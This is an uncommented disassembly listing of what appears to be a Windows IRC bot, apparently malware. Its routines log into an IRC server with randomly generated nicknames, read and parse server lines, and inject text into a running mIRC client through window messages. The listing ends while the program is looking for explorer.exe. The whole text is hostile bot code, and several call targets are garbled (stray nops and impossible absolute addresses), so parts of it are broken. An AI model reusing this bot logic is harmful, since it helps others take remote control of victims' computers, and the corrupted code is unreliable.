		push	esi
		push	offset dword_4387E8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B3

loc_417858:				; CODE XREF: sub_4177CF+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADD
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_4387DC

loc_417885:				; CODE XREF: sub_4177CF+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4

loc_4178B3:				; CODE XREF: sub_4177CF+87j
		xor	eax, eax

loc_4178B5:				; CODE XREF: sub_4177CF+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BA	proc near		; DATA XREF: sub_417A5F+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4044[esi]
		mov	dword_4D4038[esi], edi
		push	dword_4D4244[esi]
		push	eax
		call	sub_417702
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D403C[esi], eax
		jb	loc_417A3F
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADD
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D403C[esi]
		call	dword_4CAFF4
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch

loc_417996:				; CODE XREF: sub_4178BA+111j
					; sub_4178BA+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D403C[esi]
		call	dword_4CAFBC
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A3F
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417996

loc_4179CD:				; CODE XREF: sub_4178BA+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F4
		cmp	al, 0Ah
		jz	short loc_4179F4
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F4
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2E
; ---------------------------------------------------------------------------

loc_4179F4:				; CODE XREF: sub_4178BA+11Cj
					; sub_4178BA+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2E
		push	dword_4D403C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177CF
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A3F
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx

loc_417A2E:				; CODE XREF: sub_4178BA+138j
					; sub_4178BA+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CD
		jmp	loc_417996
; ---------------------------------------------------------------------------

loc_417A3F:				; CODE XREF: sub_4178BA+40j
					; sub_4178BA+107j ...
		mov	dword_4D4038[esi], ebx
		mov	esi, dword_4D403C[esi]
		cmp	esi, ebx
		jbe	short loc_417A56
		push	esi
		call	dword_4CB03C

loc_417A56:				; CODE XREF: sub_4178BA+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A5F	proc near		; CODE XREF: sub_401ACD+31E1p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD8

loc_417A71:				; CODE XREF: sub_417A5F+77j
		xor	edi, edi
		mov	eax, offset dword_4D4038

loc_417A78:				; CODE XREF: sub_417A5F+28j
		cmp	[eax], ebx
		jz	short loc_417A89
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DA758
		jl	short loc_417A78

loc_417A89:				; CODE XREF: sub_417A5F+1Bj
		cmp	edi, 31h
		jz	short loc_417AD8
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4044[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4244[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4038[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BA
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A71

loc_417AD8:				; CODE XREF: sub_417A5F+10j
					; sub_417A5F+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADD	proc near		; CODE XREF: sub_401ACD+374Dp
					; sub_401ACD+3793p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B27
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_437F28[edx*4]
		jmp	short loc_417B40
; ---------------------------------------------------------------------------

loc_417B27:				; CODE XREF: sub_417ADD+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_437C28[edx*4]

loc_417B40:				; CODE XREF: sub_417ADD+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB3
		cmp	esi, 3
		jnz	short loc_417BAA
		cmp	ebx, 1
		jz	short loc_417BB3

loc_417BAA:				; CODE XREF: sub_417ADD+C6j
		cmp	eax, 1
		jnz	loc_417C6D

loc_417BB3:				; CODE XREF: sub_417ADD+C1j
					; sub_417ADD+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E0
		call	sub_41C798
		push	off_437F28[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5A
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5A
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al

loc_417C5A:				; CODE XREF: sub_417ADD+111j
					; sub_417ADD+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch

loc_417C6D:				; CODE XREF: sub_417ADD+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED5
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCC
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDB
		cmp	eax, 1
		jnz	loc_417DCC

loc_417CDB:				; CODE XREF: sub_417ADD+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1D
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D39
; ---------------------------------------------------------------------------

loc_417D1D:				; CODE XREF: sub_417ADD+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl

loc_417D39:				; CODE XREF: sub_417ADD+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D62
		cmp	eax, ebx
		jnz	short loc_417DCC

loc_417D62:				; CODE XREF: sub_417ADD+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA7
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC5
; ---------------------------------------------------------------------------

loc_417DA7:				; CODE XREF: sub_417ADD+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl

loc_417DC5:				; CODE XREF: sub_417ADD+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi

loc_417DCC:				; CODE XREF: sub_417ADD+1C9j
					; sub_417ADD+1F8j ...
		cmp	esi, 6
		jge	loc_417E55
		cmp	esi, 5
		jge	short loc_417DED
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		jmp	short loc_417E0B
; ---------------------------------------------------------------------------

loc_417DED:				; CODE XREF: sub_417ADD+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8

loc_417E0B:				; CODE XREF: sub_417ADD+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2E
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4B
; ---------------------------------------------------------------------------

loc_417E2E:				; CODE XREF: sub_417ADD+335j
		cmp	eax, 1
		jnz	short loc_417E55
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h

loc_417E4B:				; CODE XREF: sub_417ADD+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi

loc_417E55:				; CODE XREF: sub_417ADD+2F2j
					; sub_417ADD+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		cmp	[ebp+var_C], eax
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl

loc_417ED5:				; CODE XREF: sub_417ADD+1B1j
					; sub_417ADD+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEE	proc near		; CODE XREF: sub_401ACD+BEBp
					; sub_401ACD+C28p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F79
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F79
		cmp	[ebp+arg_8], esi
		jz	short loc_417F79
		cmp	byte ptr [eax],	0
		jz	short loc_417F79
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F74
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6D
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi

loc_417F6D:				; CODE XREF: sub_417EEE+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx

loc_417F74:				; CODE XREF: sub_417EEE+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7B
; ---------------------------------------------------------------------------

loc_417F79:				; CODE XREF: sub_417EEE+Cj
					; sub_417EEE+13j ...
		xor	eax, eax

loc_417F7B:				; CODE XREF: sub_417EEE+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F7F	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F0p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB5
		or	eax, 0FFFFFFFFh
		jmp	short loc_418028
; ---------------------------------------------------------------------------

loc_417FB5:				; CODE XREF: sub_417F7F+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD7

loc_417FC1:				; CODE XREF: sub_417F7F+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCE
		cmp	dl, 0Dh
		jnz	short loc_417FD2

loc_417FCE:				; CODE XREF: sub_417F7F+48j
		and	byte ptr [ecx+esi], 0

loc_417FD2:				; CODE XREF: sub_417F7F+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC1

loc_417FD7:				; CODE XREF: sub_417F7F+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418008
		lea	edi, [ebp+var_7CC]

loc_417FE4:				; CODE XREF: sub_417F7F+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418003
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418003
		cmp	ebx, 1F4h
		jge	short loc_418008
		mov	[edi], ecx
		inc	ebx
		add	edi, 4

loc_418003:				; CODE XREF: sub_417F7F+69j
					; sub_417F7F+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE4

loc_418008:				; CODE XREF: sub_417F7F+5Dj
					; sub_417F7F+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418026
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch

loc_418026:				; CODE XREF: sub_417F7F+8Ej
		mov	eax, ebx

loc_418028:				; CODE XREF: sub_417F7F+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802C	proc near		; CODE XREF: sub_418086+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418065
		push	ebx
		mov	ebx, edi

loc_418049:				; CODE XREF: sub_41802C+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418068
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418049
		pop	ebx

loc_418065:				; CODE XREF: sub_41802C+18j
		pop	edi
		pop	esi
		retn
sub_41802C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418068	proc near		; CODE XREF: sub_41802C+25p
					; sub_418086+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418083
		cmp	al, 7Ah
		jg	short loc_418083
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------

loc_418083:				; CODE XREF: sub_418068+Ej
					; sub_418068+12j
		xor	eax, eax
		retn
sub_418068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418086	proc near		; CODE XREF: ___:0041532Dp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802C
		add	esp, 14h
		dec	esi
		mov	edi, esi

loc_4180C4:				; CODE XREF: sub_418086+B6j
		test	esi, esi
		jle	short loc_418142
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813A

loc_4180EA:				; CODE XREF: sub_418086+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418068
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810B
		mov	eax, ecx

loc_41810B:				; CODE XREF: sub_418086+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813E
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EA

loc_41813A:				; CODE XREF: sub_418086+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C4
; ---------------------------------------------------------------------------

loc_41813E:				; CODE XREF: sub_418086+8Aj
		xor	eax, eax
		jmp	short loc_418147
; ---------------------------------------------------------------------------

loc_418142:				; CODE XREF: sub_418086+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi

loc_418147:				; CODE XREF: sub_418086+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814C	proc near		; CODE XREF: sub_401ACD+67A3p
					; sub_401ACD+789Ep

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	near ptr 2670914h
		nop
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 27D0000h
		lea	eax, [ebp+var_100]

loc_418185:				; CODE XREF: sub_41814C+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418191
		cmp	cl, 9
		jnz	short loc_418194

loc_418191:				; CODE XREF: sub_41814C+3Ej
		inc	eax
		jmp	short loc_418185
; ---------------------------------------------------------------------------

loc_418194:				; CODE XREF: sub_41814C+43j
					; sub_41814C+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AE
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418194
		cmp	cl, 21h
		jl	short loc_418194

loc_4181AE:				; CODE XREF: sub_41814C+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DA75C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D6	proc near		; CODE XREF: sub_401ACD+24CAp
		push	esi
		push	0
		call	dword_4CAF74
		test	eax, eax
		jz	short loc_41820D
		push	1
		call	dword_4CAF94
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820D
		push	edi
		push	esi
		nop
		call	near ptr 27E0633h
		push	esi
		mov	edi, eax
		call	near ptr 27E0000h
		nop
		call	dword_4CAFF8
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41820D:				; CODE XREF: sub_4181D6+Bj
					; sub_4181D6+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418211	proc near		; CODE XREF: sub_401ACD+7661p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CAFB0
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828D
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 27F0183h
		nop
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 27F0000h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CB000
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CB000
		push	ebx
		nop
		call	near ptr 27E0B83h
		push	edi
		nop
		call	near ptr 26508EFh
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_41828F
; ---------------------------------------------------------------------------

loc_41828D:				; CODE XREF: sub_418211+16j
		xor	eax, eax

loc_41828F:				; CODE XREF: sub_418211+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418293	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB060
		test	eax, eax
		jz	short loc_418332
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
